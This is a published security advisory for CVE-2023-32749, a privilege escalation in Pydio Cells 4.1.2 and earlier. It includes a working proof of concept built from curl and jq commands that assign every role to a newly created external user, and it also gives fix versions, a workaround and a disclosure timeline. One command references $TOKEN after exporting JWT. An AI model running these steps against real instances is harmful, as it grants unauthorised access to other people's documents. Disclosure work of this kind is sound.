Exploit Title: Pydio Cells 4.1.2 - Unauthorised Role Assignments
Affected Versions: 4.1.2 and earlier versions
Fixed Versions: 4.2.0, 4.1.3, 3.0.12
Vulnerability Type: Privilege Escalation
Security Risk: high
Vendor URL: https://pydio.com/
Vendor Status: notified
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2023-003
Advisory Status: published
CVE: CVE-2023-32749
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32749


Introduction
============

"Pydio Cells is an open-core, self-hosted Document Sharing and
Collaboration platform (DSC) specifically designed for organizations
that need advanced document sharing and collaboration without security
trade-offs or compliance issues."

(from the vendor's homepage)


More Details
============

Users can share cells or folders with other users on the same Pydio
instance. The web application allows to either select an already
existing user from a list or to create a new user by entering a new
username and password, if this functionality is enabled. When creating a
new user in this way, a HTTP PUT request like the following is sent:

------------------------------------------------------------------------
PUT /a/user/newuser HTTP/2
Host: example.com
User-Agent: agent
Authorization: Bearer O48gvjD[...]
Content-Type: application/json
Content-Length: 628
Cookie: token=AO[...]

{
  "Attributes": {
    "profile": "shared",
    "parameter:core.conf:lang": "\"en-us\"",
    "send_email": "false"
  },
  "Roles": [],
  "Login": "newuser",
  "Password": "secret!",
  "GroupPath": "/",
  "Policies": [...]
}
------------------------------------------------------------------------

The JSON object sent in the body contains the username and password
for the user to be created and an empty list for the key "Roles". The
response contains a JSON object similar to the following:

------------------------------------------------------------------------
{
  "Uuid": "58811c4c-2286-4ca0-8e8a-14ab9dbca8ce",
  "GroupPath": "/",
  "Attributes": {
    "parameter:core.conf:lang": "\"en-us\"",
    "profile": "shared"
  },
  "Roles": [
    {
      "Uuid": "EXTERNAL_USERS",
      "Label": "External Users",
      "Policies": [...]
    },
    {
      "Uuid": "58811c4c-2286-4ca0-8e8a-14ab9dbca8ce",
      "Label": "User newuser",
      "UserRole": true,
      "Policies": [...]
    }
  ],
  "Login": "newuser",
  "Policies": [....],
  "PoliciesContextEditable": true
}
------------------------------------------------------------------------

The key "Roles" now contains a list with two objects, which seem to be
applied by default. The roles list in the HTTP request can be
modified to contain a list of all available UUIDs for roles, which can
be obtained by using the user search functionality. This results in a
new user account with all roles applied. By performing a login as the
newly created user, access to all cells and non-personal workspaces of
the whole Pydio instance is granted.


Proof of Concept
================

Login to the Pydio Cells web interface with a regular user and retrieve
the JWT from the HTTP requests. This can either be done using an HTTP
attack proxy or using the browser's developer tools. Subsequently, curl [1]
can be used as follows to retrieve a list of all users and their roles:

------------------------------------------------------------------------
$ export JWT="<insert JWT here>"
$ curl --silent \
--header "Authorization: Bearer $TOKEN" \
--header 'Content-Type: application/json' \
--data '{}' \
https://example.com/a/user | tee all_users.json

{"Users":[...]}
------------------------------------------------------------------------

Afterwards, jq [2] can be used to create a JSON document which can be
sent to the Pydio REST-API in order to create the external user "foobar"
with the password "hunter2" and all roles assigned:

------------------------------------------------------------------------
$ jq '.Users[].Roles' all_users.json \
| jq -s 'flatten | .[].Uuid | {Uuid: .}' \
| jq -s 'unique' \
| jq '{"Login": "foobar", "Password": "hunter2", "Attributes":
{"profile": "shared"}, "Roles": .}' \
| tee create_user.json

{
  "Login": "foobar",
  "Password": "hunter2",
  "Attributes": {
    "profile": "shared"
  },
  "Roles": [...]
}
------------------------------------------------------------------------

Finally, the following curl command can be issued to create the new external
user:

------------------------------------------------------------------------
$ curl --request PUT \
--silent \
--header "Authorization: Bearer $JWT" \
--header 'Content-Type: application/json' \
--data @create_user.json \
https://example.com/a/user/foobar
------------------------------------------------------------------------

Now, login with the newly created user to access all cells and
non-personal workspaces.

Workaround
==========

Disallow the creation of external users in the authentication settings.


Fix
===

Upgrade Pydio Cells to a version without the vulnerability.


Security Risk
=============

Attackers with access to any regular user account for a Pydio Cells instance can
extend their privileges by creating a new external user with all roles
assigned. Subsequently, they can access all folders and files in any
cell and workspace, except for personal workspaces. The creation of
external users is activated by default. Therefore, the vulnerability is
estimated to pose a high risk.


Timeline
========

2023-03-23 Vulnerability identified
2023-05-02 Customer approved disclosure to vendor
2023-05-02 Vendor notified
2023-05-03 CVE ID requested
2023-05-08 Vendor released fixed version
2023-05-14 CVE ID assigned
2023-05-16 Vendor asks for a few more days before the advisory is released
2023-05-30 Advisory released


References
==========

[1] https://curl.se/
[2] https://stedolan.github.io/jq/


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